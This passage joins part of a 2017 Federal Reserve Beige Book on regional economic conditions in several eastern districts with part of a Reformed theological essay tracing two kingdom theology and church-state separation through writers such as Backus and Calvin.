A contact in the restaurant industry reported that Q1 sales, when tallied, should be up 1 percent to 2 percent over last year, helped by the relatively mild winter. Respondents said expected visa reductions and limited ability to raise prices augmented uncertainty about the outlook, acting as a check on their plans for expansion.
Manufacturing and Related Services All ten contacted manufacturers said sales were higher in recent periods versus the comparable period a year ago. Reports ranged from growth that was slow and below expectations for a data and publishing firm to “tremendous growth” for a packaging firm. The latter firm said that increased e-commerce was driving increases in demand for boxes for mailing. Otherwise, firms reported sales growth that was in line with expectations.
Most contacts reported that capital expenditures were confined to maintenance of existing equipment. Two exceptions were a chemical manufacturer looking for a site for a new plant, having exhausted the avenues of acquisition and more intensive use of existing facilities they used during the great recession, and a manufacturer of jet engines which continued to invest large amounts in a new product line.
Several contacts expressed concerns about policy uncertainty. A manufacturer of test equipment which exports a significant portion of its production worried about trade deals. Firms said that a Border Adjustment Tax would have mixed effects but hoped for some resolution.
Software and Information Technology Services Firms experienced revenue growth in the range of 1 percent to 20 percent year-over-year, and even the 1-percent-growth firm saw “incredible” new orders in the first quarter. While health care and health services are generally strong in New England, multiple contacts indicated that business sentiment turned positive lately, bolstering firms that serve more cyclical industries, such as manufacturing and industrial IT.
All contacts were optimistic. One contact expressed concern that continued legislative struggles could put a damper on business confidence in the future, and another noted that hostile immigration policy could further tighten labor markets for skilled and unskilled labor.
Commercial Real Estate Reports on commercial real estate activity in the First District were mixed. Contacts in Boston and Hartford reported a modest softening of commercial leasing activity in recent weeks, while activity was reportedly stable in Portland and somewhat stronger in Providence. In Connecticut the weaker activity extended to both the industrial and office sectors. In Boston reports of slower demand pertained to the urban office sector, which still enjoyed a single-digit vacancy rate. Investor demand for prime Boston properties remained strong but price appreciation slowed further.
Office construction activity continued to be restrained across the District. Apartment construction activity remained significant but the pace of new deliveries slowed and the pipeline of planned projects contracted somewhat amid evidence of slowing rent growth. Respondents noted that borrowing rates for commercial property loans were flat despite recent increases in short-term rates. Most contacts expect further improvements in their respective commercial real estate markets moving forward, but likely at a slower pace. A Hartford contact was somewhat less optimistic, citing drags on growth related to severe fiscal strain in his state, while a Providence contact was more upbeat, based on signs that business confidence in Rhode Island had improved recently.
Residential Real Estate Residential real estate markets in the First District continued to struggle with a shortage of inventory. All six First District states as well as the Greater Boston area reported large declines in inventory for both single-family homes and condos from February 2016 to February 2017. Closed sales also declined in every state and Boston for single-family homes. Results for condos were mixed, with closed sales increasing in New Hampshire and Vermont but decreasing elsewhere. Respondents ubiquitously reported strong buyer demand. A contact in Boston said: “Sales could have been much stronger had the inventory been up. Unfortunately, we’ve noticed that potential sellers have become more reluctant to list their homes because they are apprehensive that they may not be able to find another home themselves.”
Given the robust demand and low inventory, contacts were not surprised that prices generally rose year-over-year. For single family homes, median sales price rose in each state except Connecticut. For condos, prices rose in all reporting regions. A New Hampshire contact said the low inventory situation and rising prices were “particularly hard on first-time buyers struggling to get into the market.” In general, contacts saw no remedy for ongoing declines in inventories. Most were confident, though, that buyer demand would stay strong, even in the face of increasing interest rates.
For more information about District economic conditions visit: www.bostonfed.org/regional-economy
Federal Reserve Bank of New York
Summary of Economic Activity Economic activity in the Second District has expanded modestly since the last report, with labor markets remaining tight. Input price pressures have remained fairly widespread, while selling prices have continued to rise modestly. Manufacturers noted a deceleration in business activity, following brisk growth in the first two months of the year, while service-sector contacts have generally continued to report steady to modesty expanding activity. Consumer spending has been mixed in recent weeks, even as consumer confidence climbed to a multi-year high. Housing markets were mixed but, on balance, somewhat stronger since the last report, although the high end has remained relatively weak. As for commercial real estate, office markets were steady to somewhat slacker, while the industrial market continued to strengthen. New construction activity has been sluggish–both on the commercial and residential side. Banks reported that loan demand strengthened, while delinquency rates were mostly steady.
Employment and Wages The labor market has remained fairly tight. Contacts at employment agencies continued to report tight job market conditions and fairly brisk labor demand–particularly for engineers and other tech workers. One New York City agency characterized hiring as steady at a moderate level, while two others–one in the city and one upstate–noted a pickup in hiring. However, one noted a pullback in hiring in the health insurance industry.
Manufacturers indicated that they have ramped up hiring in recent weeks, and businesses in education & health services reported that they have continued to add jobs, on net. Employment was reported to be steady to up slightly in other service industries. In contrast, contacts in the leisure & hospitality industry reported declining employment. Looking ahead, however, businesses in all industries indicated that they expect employment to rise, on balance.
Contacts across all service industries reported moderate wage growth and expected this to continue in the months ahead. Employment agency contacts in New York City noted some pickup in wages for new job openings, while a major agency in upstate New York indicated that wages have held steady.
Prices Business contacts reported continued moderate growth in input costs but only modest increases in selling prices. Manufacturers, retailers and businesses in the leisure & hospitality industry anticipated moderate increases in selling prices in the months ahead, while those in other industries said they expect to keep their prices fairly steady. Broadway theaters reported that ticket prices, which had increased by more than the seasonal norm in the first two months of the year, have returned to more normal levels.
Consumer Spending Retailers reported that sales were steady to up moderately. Retailers in upstate New York reported that sales picked up in March, after a flat February. A major retail chain noted that same-store sales were down slightly from a year earlier in March but still somewhat ahead of expectations. Sales in New York City were on par with the region overall, with little adverse effect from the mid-March snowstorm. Inventories were generally said to be at desired levels. Retail contacts have grown somewhat more optimistic about the near-term sales outlook.
Auto dealers in upstate New York reported that sales of new and used vehicles have continued to be strong in both February and March. Inventories of new vehicles have remained a bit high for certain makes and models, but are generally at satisfactory levels. Retail and wholesale credit conditions were reported to be in good shape, though one contact notes tightening for sub-prime loans.
Consumer confidence in the Middle Atlantic states (NY, NJ, PA) climbed again in March, reaching a 16-year high.
Manufacturing and Distribution Manufacturers reported that growth in business activity has receded from the brisk pace seen in early 2017. Businesses in the wholesale trade and transportation industries reported steady to moderately growing activity. Businesses in manufacturing and wholesale trade remained widely optimistic about the outlook, while those in transportation & warehousing have become less upbeat.
Services Business in most service industries reported little change in general business activity since the last report, though contacts in education & health services reported steady, moderate growth. Looking ahead, businesses were generally optimistic about the outlook–particularly those in the information and professional & business services sectors. However, businesses in the leisure & hospitality industry were considerably less upbeat about the outlook.
Tourism has been mixed in New York City. Both hotels and Broadway theaters have seen a bit of a pickup since the last report. However, the outlook for international visitors has weakened noticeably: one industry expert has observed an increase in cancellations (conferences, meetings, school trips, etc.), a drop in airline ticketing and a marked decrease in inquiries from abroad. At least some of this slack is expected to be picked up by an increase in domestic visitors.
Real Estate and Construction Housing markets across the District have been mixed but, on balance a bit stronger since the last report, with ongoing slack at the high end of the market. New York City’s rental market has been steady to somewhat weaker. Landlord concessions have grown more prevalent in an effort to keep rents and vacancy rates steady. Effective rents (factoring in these concessions) have continued to decline–particularly on larger units and particularly in Manhattan. Elsewhere, rents continued to rise in northern New Jersey but were mostly flat across upstate New York.
New York City’s co-op and condo resale market has improved somewhat. Sales volume increased, while prices were mixed–rising in Brooklyn and Queens but slipping in Manhattan. Inventories have risen somewhat in Manhattan but remain low; properties have been taking longer to sell, and bidding wars have become less common. In Long Island, Westchester and Fairfield counties, home sales activity was increasingly robust, while prices were steady to up only modestly. In upstate New York, the market has continued to strengthen, with exceptionally low resale inventories boosting prices and bidding wars.
Commercial real estate markets were steady to somewhat slacker in the first quarter. Office availability rates rose modestly across downstate New York and northern New Jersey but were steady in upstate New York. Asking rents, on the other hand, edged down in upstate New York but were steady to up slightly elsewhere. In New York City, office rents were flat but still up roughly 10 percent from a year earlier. In contrast, the market for industrial space has shown continued strength. Industrial vacancy rates continued to decline in northern New Jersey but leveled off elsewhere; however, asking rents continued to rise briskly and were up roughly 10 percent from a year earlier across the District. The market for retail space has softened noticeably with vacancy rates rising and asking rents flat to down modestly.
Finally, both residential and commercial construction were generally sluggish–likely adversely affected by wintry weather in March.
Banking and Finance Small to medium sized regional banks reported stronger demand across all loan categories–especially residential mortgages. However, banks also indicated that refinancing activity decreased. Bankers reported that credit standards were unchanged. Contacts noted wider spreads of loan rates over cost of funds across the board, as well as an increase in the average deposit rate. Finally, bankers reported an increase in delinquency rates for C&I loans, but no change in delinquencies across other loan categories.
For more information about District economic conditions visit: www.newyorkfed.org/data-and-statistics/regional-data-center/index.html
Federal Reserve Bank of Philadelphia
Summary of Economic Activity Aggregate business activity in the Third District continued at a modest pace during the current Beige Book reporting period. Manufacturing, nonfinancial services, and homebuilding continued at a moderate pace of growth. Five sectors–nonauto consumer spending, auto sales, lending, and nonresidential construction and leasing–were essentially flat, similar to the prior period. Existing home sales grew slightly after declining last period. According to most contacts, employment, wages, and prices continued to grow at a modest pace. Overall, firms continued to expect moderate growth over the next six months.
Employment and Wages Employment has continued at a modest pace of growth since the prior report. A higher percentage of manufacturing firms reported increases in employment this period than during the prior period. Manufacturers also continued to note increases in the number of average hours worked. Employment indicators from nonmanufacturing firms also improved, as contacts reported overall increases in full-time and part-time staff as well as workweek hours.
On balance, wage pressures continued to be modest, although contacts reported tightening labor markets. A majority of manufacturers reported labor shortages and skills mismatches, but less than half indicated increasing wages as a result. A Pennsylvania staffing firm continued to see strong demand for staffing services from companies across various sectors and noted a stronger pickup in wages than usual. Wage pressures remained modest for nonmanufacturers, though a slightly lower percentage of nonmanufacturing contacts reported wage increases this period than during the prior period.
Prices On balance, price levels continued to rise modestly. More than two-thirds of firms’ contacts reported no change at all in prices paid and prices received. Of the remaining firms, more reported increases than decreases with the exception of prices received by nonmanufacturing firms, which decreased slightly, on net. Homebuilders noted large increases in lumber and millwork costs and continued pressures for labor costs. Overall, the sales prices of existing homes rose slightly, although this varied across markets and price categories.
Manufacturing Reports from manufacturers continued to suggest overall moderate growth. Higher percentages of firms reported increases in both new orders and shipments this period compared with the prior period.
Overall, gains in activity were indicated by most major sectors, including the makers of lumber products, paper products, chemicals, primary and fabricated metal products, industrial machinery, and electronic products.
Roughly two-thirds of the manufacturing contacts were optimistic that orders, shipments, and general activity would grow over the next six months, up slightly from the prior Beige Book period. Firms also expressed broader optimism for future employment and capital expenditures.
Consumer Spending Nonauto retail sales were little changed on balance during the period, according to several analysts. One area chain reported a good month followed by a tough one that was largely impacted by the March snowstorm. However, the contact has started to express slight concern of a general slowdown in consumer spending beyond the weather impacts, as sales continued to underperform expectations. A mall operator noted pronounced weakness for winter apparel and also reported mixed sales over the Beige Book period–modestly up one month then down the next–with only a few retailers showing positive trends. Restaurant and food sales at malls were also down slightly.
Auto dealers reported year-over-year sales were flat to slightly down this period, after increasing slightly during the last Beige Book period. Pennsylvania dealers reported fairly steady activity, slightly up but similar to last year. Sales in New Jersey declined relative to last year’s levels. Although contacts in New Jersey expressed uncertainty about keeping pace with the historic highs of the past two years, they expressed optimism that 2017 would still be a strong year. Dealers also continued to face high inventory and difficulty sustaining profitability and margins.
Tourism contacts generally indicated a continuation of modest growth. Philadelphia area hotels continued to report strong demand. A contact in the Poconos reported that while February had been a weaker month because of the mild weather, the late-season snowstorm in March led to a significant pickup in snow-related activities and boosted overall first-quarter performance. A Delaware contact noted that traffic counts and spending were up at Delaware beaches. In Atlantic City, casino revenues flattened this period after posting year-over-year gains in the prior period.
Nonfinancial Services Third District service-sector firms continued to report moderate growth in general activity, overall, although the pace slowed somewhat from the prior period. Responses suggested little change in the pace of new orders but a slowing in the pace of sales. Expectations about future growth, which had tempered during the prior Beige Book period, changed little, and contacts remain optimistic.
Financial Services Third District financial firms have reported little change in overall loan volumes excluding credit cards since the last Beige Book, similar to the prior period. Commercial real estate loan volumes grew notably, and volumes of residential mortgages grew slightly. Home equity loans posted modest decreases, and auto loans and commercial and industrial loans decreased slightly. Separately, a seasonal decline in credit card volumes that began in the prior period continued in this period, with a rate of decline similar to the change observed over the same period last year.
Most contacts continued to report competitive loan pricing and no signs of inflation. In general, banking contacts continued to express cautious optimism for slow, steady growth.
Real Estate and Construction Homebuilders continued to report moderate increases in traffic, contract signings, and construction backlogs. A South Jersey builder noted a continuation of the longest run of steady sales (since November) in over 10 years, while a Pennsylvania builder started to see more first-time homebuyers compared with last year. Some contacts wondered if recent interest rate increases helped get potential buyers off the fence.
Brokers in most major Third District housing markets reported a slight increase in existing home sales, following a modest decline last period. Contacts continued to report low levels of inventory.
Nonresidential real estate contacts covering much of the Third District continued to report little change overall to the relatively high levels of construction and leasing activity. Contractors noted a slight seasonal lull in construction activity, but they expect a pickup later in the year from large projects in the pipeline.
For more information about District economic conditions visit: philadelphiafed.org/research-and-data/regionaleconomy
Federal Reserve Bank of Cleveland
Summary of Economic Activity Economic activity grew moderately on balance across the Fourth District since our last report. Labor markets continued to strengthen, with moderate to strong wage gains. Upward pressure on prices paid by producers increased; selling prices rose, though at a slower pace. Consumer spending was stable; Internet and mobile transactions continued to offset declines at brick and mortar establishments. New motor vehicle sales strengthened. The outlook by manufacturers noticeably improved as factory output picked up. Nonfinancial services firms experienced moderate revenue growth overall. Freight volume expanded over the period, especially for steel, coal, and consumer products. The housing market cooled slightly, but unit sales remain above year-ago levels, and selling prices are higher. Commercial builders are experiencing stronger than usual inquiries and growing backlogs. Lending pipelines were satisfactory.
Employment and Wages District payrolls continued to expand at a steady, albeit slow, pace. Increases were prevalent in the financial services, construction, and manufacturing industries. Brick-and-mortar retail was the only industry to report an overall staffing decline. Here, several contacts announced job cuts because of store downsizing or closures. Staffing firms noted that their clients expect that both the pace of hiring will pick up as the year progresses and the number of openings for permanent jobs will rise. One staffing firm reported that billable hours for the first quarter were 20 percent higher compared to the historic average. Workforce development officials told us that while the number of entry-level jobs is rising, finding candidates with the required core skills is difficult. Job churning has become an issue confronting many hiring managers. Wage increases during 2017 are expected to average about 3 percent, with significantly higher increases needed to retain high-skilled employees.
Prices Upward pressure on prices paid by producers increased over the period. Manufacturers attributed increases to the partial recovery in steel and other primary materials prices. A homebuilder said that his industry is feeling pent-up pricing pressure from materials suppliers. He also cited pressures on capacity utilization in the materials manufacturing industry. Oil and gas field materials prices moved higher because of the expansion in upstream activity. The steepest increases were for steel and sand. Even though producer selling prices are rising, they have not kept pace with the upsurge in input costs. A few contacts noted that productivity increases have helped soften margin contraction. Manufacturers, homebuilders, and general building contractors experienced little pushback when attempting to raise their selling prices. Concerns were raised about rising apparel and motor vehicle prices if a border-adjustment tax were enacted.
Consumer Spending Consumer spending remains stable. Growth in the number of transactions completed over the Internet or via mobile devices offset declines in brick-and-mortar transactions. Traditional retailers reported that mall traffic continues to weaken and that there is less impulse buying. One chain said that the apparel segment has been on a downswing as consumers’ disposable income is being allocated for other priorities. Another chain cited the unusually warm weather as a factor for the decline in purchases of cold-weather merchandise. Retailers noted that they have little room to raise shelf prices. As a result of these circumstances, brick-and-mortar retailers are cutting back on inventories and capital spending. Year-to-date unit sales through February of new motor vehicles increased more than 5 percent when compared to those of the year-earlier period. The share of light truck transactions continues to trend higher.
Industrial Production Manufacturing sentiment has noticeably improved during the past couple of months, though a few large manufacturers cautioned that the new found optimism may be unwarranted. Reasons for the optimism include slowly improving global economic conditions, a partial recovery in commodity prices, and expectations for tax and regulatory reform on the part of the new administration. Activity for suppliers to aerospace, automotive, construction, and Internet-retailing end markets remains elevated. Factors tempering output growth include the strong dollar and trade policy uncertainty. Year-to-date production through February at District auto assembly plants fell about 2 percent when compared to that of the same time period during 2016. Reports indicated that a growing number of manufacturers are expanding capital budgets. Additional monies are being allocated primarily for new equipment and long-stalled maintenance projects.
A small rise in oil and gas drilling is spurring additional investment in midstream and pipeline projects. Drillers are being motivated by a slow upward trend in wellhead prices and a need to perform on their leases. With the new presidential administration, oil and gas producers are hopeful for a less restrictive permitting process.
Real Estate and Construction Year-to-date unit sales through February of new and existing single-family homes increased 1.6 percent compared to those of a year earlier. The average sales price rose more than 6 percent. Homebuilders reported that rising interest rates and rising list prices are motivating potential buyers to move off the fence. The impact of these factors on demand for new home construction may not be known for months owing to the significant time lags in the new home buying process. Year-to-date estimates of single family construction starts were much higher in Ohio compared to a year earlier. Strongest demand was found in the first-time and move-up price point categories. Sales of high-end homes continued to slow.
Nonresidential contractors reported rising optimism across their markets. The number of inquiries was described as strong for early on in the year, and backlogs are strengthening. Strongest demand was for public infrastructure projects, commercial buildings, and warehousing and distribution facilities. Contractors noted that demand for retail-related work has diminished significantly. There is optimism about the impact that national infrastructure legislation would have on the construction industry. However, if an infrastructure bill were passed, the impact would not be felt until 2018 at the earliest.
Financial Services Bankers generally remain satisfied with their credit portfolios. Although customer confidence is higher, that confidence has not yet translated into additional commercial or retail lending. Bank customers seemingly are waiting for more definitive proposals on tax and regulatory reform from the new administration before moving ahead with projects. On the commercial side, strongest demand is for CRE loans and M&A financing. Two large-bank contacts reported that manufacturers are increasingly turning to non bank sources for capital project financing. Several bankers noted a seasonal decline in consumer lending overall, especially for credit cards. A drop in auto loans was attributed to increased competition from OEM captives and credit tightening for subprime applicants. A rise in interest rates and low existing-home inventory were cited as factors for a decline in mortgage borrowing.
Nonfinancial Services Professional and business services firms reported moderate levels of activity on balance over the period. Strongest demand was seen by bioscience, IT, logistics, and management consulting firms. An IT executive reported that year-to-date results have been unusually positive so far. A management consultant said that his firm has recently seen a broad-based rise in demand. Factors contributing to increased demand are a stronger economy and a need for assistance in navigating emerging uncertainties such as changes in health-care laws.
Freight volume expanded over the period on balance, and this expansion was attributed to improving economic conditions and lean inventories. Increases were seen primarily in shipments of steel, coal, and lower-value consumer products. A few carriers reported that they were able to push through rate increases.
Federal Reserve Bank of Richmond
Summary of Economic Activity The Fifth District economy expanded at a slightly faster, albeit still modest, pace than during the previous Beige Book reporting period. Manufacturing activity increased amidst reports of stronger shipments and new orders, but tighter margins reportedly cut into capital spending plans. Port volumes remained very robust and increased modestly further despite some weather disruptions, while reports on other freight were mixed. Retail sales rose at a modest pace while tourism activity was boosted by the early arrival of warm weather. Realtors reported an increase in the number of new residential listings, but quick sales left inventories unchanged at lower-than-desired levels. Nonresidential leasing activity advanced modestly while commercial construction was mostly steady. Financial services activity strengthened modestly while nonfinancial services revenues rose slightly. Reports on natural resources were mixed. Labor demand remained firm and reports of modest wage increases broadened. Price increases were up modestly, on balance.
Employment and Wages Labor demand strengthened moderately in recent weeks, and wage gains were more widespread. Contacts generally suggested that wage increases remained modest, although some firms noted sharper increases for high-skill workers who are in short supply. Employment agencies reported an increase in the number of employed workers seeking different jobs, higher turnover rates, and more wage pressures. A Virginia recruiter said that he was encouraging clients to increase pay rates and make quicker hiring decisions when they find the right worker. Persistent shortages of skilled construction workers adversely affected a larger number of builders, and led one South Carolinian to get out of the business after 25 years in it.
Prices Recent reports indicated a modest rise in prices. Manufacturers’ input prices increased moderately and slightly outpaced finished goods price growth, according to our most recent surveys. Specifically, prices rose for corrugated metal, plastic, and lumber. Meanwhile, services prices continued to edge up while retail prices grew robustly. House prices rose marginally on average; however, some contacts reported stronger price growth in areas with low inventories and a scarcity of buildable lots. Crop prices varied, with increases noted for peanuts and cotton while dairy and grain prices trended slightly lower. Energy prices were stable, on balance, with a slight decrease noted for Northern Appalachian coal.
Manufacturing Manufacturing activity increased as more firms reported higher new orders and shipments. Manufacturers of electrical equipment, semiconductors, computer products, autos, and fabricated steel noted stronger business conditions in recent weeks. Expectations for the next six months were positive, and small domestic manufacturers were particularly optimistic. Despite that optimism, contacts suggested that persistent labor shortages had pushed labor costs up beyond what could be recovered through price increases, with the resulting squeeze on margins leading to cutbacks in planned capital spending.
Ports and Transportation Shipments through District ports were robust, on balance, and increased at a modest pace despite some disruptions resulting from adverse weather events. Moreover, one official suggested that the typical January/February slowdown did not occur this year as activity remained elevated after the peak holiday season. Strong import volumes persisted, and a few contacts noted that exports had picked up. One executive said that machinery exports increased recently following a considerable period of weakness.
Reports on truck transportation were mixed. One person, whose company delivers directly to end users, reported a slight acceleration in first quarter shipments from healthy fourth quarter levels. In contrast, a nationwide freight hauler described shipments as “ho-hum” and noted that recent improvements in manufacturing indicators were not yet translating into increased truck freight.
Retail, Travel, and Tourism Retail sales continued to expand at a modest pace since the last report. Hardware and gardening stores saw brisker sales as homeowners took advantage of mild temperatures. A sporting goods store manager reported stagnant sales though he was optimistic about sales in the coming weeks. A furniture retailer said that customers are building, renovating, and moving again, which contributed to an increased pace of sales in the first quarter. A large auto dealer reported sales trending up in March for both new and used cars.
Tourist activity picked up beyond normal seasonal trends due to unusually warm weather. In the Outer Banks, spending on home furnishings and restaurants increased as vacation home owners returned to under-take remodeling projects. In western North Carolina, hotels saw strong corporate bookings and leisure activity at normal levels. Convention and tourist activity was at seasonal levels in the nation’s capital.
Real Estate and Construction Residential real estate sales increased moderately since the previous report. Realtors reported increased buyer traffic driven by the early spring weather. Inventories remained low; however most realtors contacted said that more homes came on the market, but those homes sold quickly resulting in unchanged inventory levels. Residential builders reported that home starts and closings were moderate and had increased somewhat.
On balance, commercial real estate leasing rose moderately. Industrial and retail leasing and sales activity remained very active throughout the District. Rental rates varied across sub-market and property types, although most contacts reported rent increases in the tighter retail and office markets. Brokers noted an increase in tenant improvement allowances, while free rent incentives diminished. Commercial construction generally remained steady at modest levels, and multifamily construction continued at moderate levels. A broker in Charlotte, North Carolina reported an increase in Class A office space with new construction hitting the market.
Banking and Finance In general, financial services activity strengthened moderately in recent weeks. Residential mortgage demand picked up slightly in the District, with the majority of new activity coming from the purchase side as refinance lending demand softened somewhat. A South Carolina lender noted particular strength in mortgage demand coming from new homes. Commercial real estate loan demand generally strengthened, but varied throughout the District. Non-mortgage business lending rose marginally while auto lending remained fairly robust. Deposit growth was mostly stable, but one lender in West Virginia noted a slight decline. Interest rates were unchanged on balance; however, one lender said that pressure to raise loan rates was building. Credit quality was generally cited to be good and improving slightly. Similarly, credit standards remained constant even as competition among banks remained high.
Non-Financial Services Our most recent survey suggested that services firms saw a slight increase in revenues. In general, services related to home building, remodeling, and landscaping reported the most robust activity. Accounting services firms also noted stronger demand as the income tax filing season was well underway. Meanwhile, a marketing firm indicated that increased business to new clients more than offset a slight decline in demand from
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the magistrate’s duty to suppress heresy and prevent corruption of worship so that the truth of God may be kept pure and entire. Thus we may call this a distinction without separation between the church and the state. Each have specific spheres of authority, but both work hand in hand to further the kingdom of Christ.
The 17th century saw fierce debate over this issue, particularly in England and New England. Christ’s statement in John 18:36 (“My kingdom is not of this world”) was specifically appealed to in defense of liberty of conscience and against establishmentarianism. The Westminster Divines argued this was a misinterpretation of John 18:36.
Therefore, two kingdom theology is properly defined as the belief that no kingdom of this world may draw the sword to promote the kingdom of Christ because it is not of this world.
Not of This World
This doctrine continued to ferment and develop among various reformed traditions (Presbyterian, Congregational, Baptist), especially since the loss of power in the Great Ejection and struggles to define the role of the church and state in the colonies. Around 1720, New England Puritan Increase Mather (son-in-law of outspoken establishment defender John Cotton), reflecting upon a long life spent in theocratic New England, repented of his error, noting “The Christian faith brings us into no earthly Canaan, and has no weapons but what are spiritual.” In 1765, Scottish Presbyterian John Erskine argued against the established church, noting
If Christ’s kingdom was of this world, it would be reasonable to inflict like penalties upon those who will not that he should reign over them. But Christ himself hath told us that his kingdom is not of this world and that it is secured not by external violence or persecution, but by the influences of the Spirit of grace. (aa) [In this footnote, Erskine specifically quotes a longer portion of Mather’s quote above]
In 1783, English Particular Baptist Abraham Booth’s “The Kingdom of Christ” explicitly builds upon Erskine’s dissertation throughout. He notes
Very different then, is the kingdom of Christ from the ancient Israelitish Theocracy… For the great Proprietor and Lord of the Christian church having absolutely disclaimed a kingdom that is “of this world” cannot acknowledge any as the subjects of his government who do not know and revere him – who do not confide in him and sincerely love him… Appearing as the head of his church, merely under the character of a spiritual monarch, over whomsoever he reigns, it is in the understanding, by the light of his truth; in the conscience, by the force of his authority; and in the heart, by the influence of his love… Further: If all the subjects of Christ be real saints, it may be justly queried, whether any National religious establishment can be a part of his kingdom. That multitudes of individuals belonging to such establishments are subjects of the King Messiah, is cheerfully granted, and the thought gives us much pleasure: but is it not plain, that a National church is inimical to the spirit of our Lord’s declaration, “My kingdom is not of this world”? Does not that comprehensive and important saying compel us to view the church and the world in a contrasted point of light? And does not the idea of a National church lead us to confound them? Does it not manifestly confound the church of the first-born, which are written in heaven;” with “the world, that lies in wickedness,” whose names are entered in parish registers?
At the same time in America (where Booth’s work went through 4 editions), Particular Baptist Daniel Merrill expounded upon the implications of Christ’s spiritual kingdom. Merrill notes (1808):
[M]en… have generally held to the bringing of persons into the kingdom of God by blood, by their own wills, or by the wills of other men; and from thence have come all national churches… [T]he kingdom, which the God of heaven hath set up, has never needed, so has never debased herself by soliciting, the secular arm to enforce the mandates of the Church… Of the civil authority she asks no more, than to have it stand out of her sunshine. That Cesar, in agreement with the ordinance of heaven, would look well to the management of Cesar’s kingdom, and leave it with the Lord to manage his.
In 1773, 10 years before Booth’s work, before the American Revolution, Particular Baptist Isaac Backus notes in An Appeal to the Public for Religious Liberty Against the Oppressions of the Present Day
This is the nature of his kingdom, which he says, is not of this world: and gives that as the reason why his servants should not tight or defend him with the sword. John. 18. 36. 37. And it appears to us that the true difference and exact limits between ecclesiastical and civil government is this, That the church is armed with light and truth, to pull down the strong holds of iniquity, and to gain souls to Christ, and into his church, to be governed by his rules therein; and again to exclude such from their communion, who will not be so governed; while the state is armed with the sword to guard the peace, and the civil rights of all persons and societies, and to punish those who violate the same. And where these two kinds of government, and the weapons which belong to them, are well distinguished, and improved according to the true nature and end of their institution. the effects are happy, and they do not at all interfere with each other: but where they have been confounded together, no tongue nor pen can fully describe the mischiefs that have ensued; of which the Holy Ghost gave early and plain warnings… Now who can hear Christ declare, that his kingdom is, not of this world, and yet believe that this blending of church and state together can be pleasing to him?
The Shaftsbury (Vermont) Baptist Association expressed similar sentiments in its 1796 circular letter. The “kingdom of heaven… is not defended by carnal weapons” and “forms no alliance with the kingdoms and states of this world, but is distinct from them.” The Philadelphia Association likewise proclaimed, “Christ’s kingdom needs no support from union with the governments of this world; that the more distinctly the line is drawn between them the better.”
In 1788, the Presbyterian Church in the United States of America revised the Westminster Standards to accommodate more religious liberty. Of specific interest is the addition of John 18:36 as a proof text for the revision of 23.3 that the magistrate may not “in the least, interfere in matters of faith.” Charles Hodge (Princeton Review, 1863) notes that it was not Enlightenment thinking that led to this revision, but rather a change in interpretation of Scripture.
William G. McLouglin in the American Historical Review, notes that
The role of Isaac Backus (1724-1806) and the Separate Baptists in the development of the American tradition of separation of church and state has not yet been given its due. Yet any careful evaluation of this tradition must acknowledge that neither the position of Roger Williams nor that of Thomas Jefferson and James Madison adequately defines it… Backus evolved his principles and wrote his against the New England establishment before he had even heard of Jefferson or Madison… Backus specifically repudiated the contract theory of government… Backus probably represents most adequately the evangelical view of Separationism… that has predominated. Historians would do well to re-examine his position and to give it is rightful place in future evaluations of this notable tradition.
This historic two kingdom theology is what Reformed Libertarianism holds to.
Dual Ethic
Very recently, some modern reformed theologians have developed a peculiar twist on two kingdom theology. David VanDrunen has argued that each kingdom is ruled by a different ethic. Scripture is a covenant document given only to the church, the kingdom of Christ. The kingdom of this world, which includes the state as well as all common cultural activities outside of the church, is to be ruled by “natural law” instead of Scripture.
This view, sometimes dubbed “Radical Two Kingdoms” is wrong in two respects. First, it errs in trying to read two kingdom theology back into the reformed tradition and confessions. Second, it rejects the sophisticated reformed revision of natural law, which identified natural law with the law revealed in Scripture (WCF 19.2). VanDrunen explicitly rejects this view, stating his agreement with Thomas Aquinas that natural law instead refers to “all things to which human beings are inclined by nature.”
This position is utterly inconsistent with reformed theology. “One must bear in mind always Calvin’s rigorous application of his doctrine of the fall when assessing his definition of natural law.” Since the fall, general revelation is insufficient to arrive at any truth consistently.
But this light of nature is far from enabling man to come to a saving knowledge of God and conversion to him—so far, in fact, that man does not use it rightly even in matters of nature and society. Instead, in various ways he completely distorts this light, whatever its precise character, and suppresses it in unrighteousness… For as the aged, or those whose sight is defective, when any books however fair, is set before them, though they perceive that there is something written are scarcely able to make out two consecutive words, but, when aided by glasses, begin to read distinctly, so Scripture, gathering together the impressions of Deity, which, till then, lay confused in our minds, dissipates the darkness, and shows us the true God clearly… The course which God followed towards his Church from the very first, was to supplement these common proofs by the addition of his Word, as a surer and more direct means of discovering himself. And there can be no doubt that it was by this help, Adam, Noah, Abraham, and the other patriarchs, attained to that familiar knowledge which, in a manner, distinguished them from unbelievers. I am not now speaking of the peculiar doctrines of faith by which they were elevated to the hope of eternal blessedness. It was necessary, in passing from death unto life, that they should know God, not only as a Creator, but as a Redeemer also; and both kinds of knowledge they certainly did obtain from the Word. In point of order, however, the knowledge first given was that which made them acquainted with the God by whom the world was made and is governed… I am only showing that it is necessary to apply to Scripture, in order to learn the sure marks which distinguish God, as the Creator of the world, from the whole herd of fictitious gods. We shall afterward, in due course, consider the work of Redemption. –Institutes I.v-vi [A]lthough there is still some residue of intelligence and judgment as well as will, we cannot call a mind sound and entire which is both weak and immersed in darkness. As to the will, its depravity is but too well known. Therefore, since reason, by which man discerns between good and evil, and by which he understands and judges, is a natural gift, it could not be entirely destroyed; but being partly weakened and partly corrupted, a shapeless ruin is all that remains. In this sense it is said (John 1:5), that “the light shineth in darkness, and the darkness comprehended it not;” these words clearly expressing both points—viz. that in the perverted and degenerate nature of man there are still some sparks which show that he is a rational animal, and differs from the brutes, inasmuch as he is endued with intelligence, and yet, that this light is so smothered by clouds of darkness that it cannot shine forth to any good effect… To charge the intellect with perpetual blindness, so as to leave it no intelligence of any description whatever, is repugnant not only to the Word of God, but to common experience… Still it is true that this love of truth fails before it reaches the goal, forthwith falling away into vanity. As the human mind is unable, from dullness, to pursue the right path of investigation, and, after various wanderings, stumbling every now and then like one groping in darkness, at length gets completely bewildered, so its whole procedure proves how unfit it is to search the truth and find it… The distinction is, that we have one kind of intelligence of earthly things, and another of heavenly things. By earthly things, I mean those which relate not to God and his kingdom, to true righteousness and future blessedness, but have some connection with the present life, and are in a manner confined within its boundaries… Since man is by nature a social animal, he is disposed, from natural instinct, to cherish and preserve society; and accordingly we see that the minds of all men have impressions of civil order and honesty. Hence it is that every individual understands how human societies must he regulated by laws, and also is able to comprehend the principles of those laws. Hence the universal agreement in regard to such subjects, both among nations and individuals, the seeds of them being implanted in the breasts of all without a teacher or lawgiver. The truth of this fact is not affected by the wars and dissensions which immediately arise, while some, such as thieves and robbers, would invert the 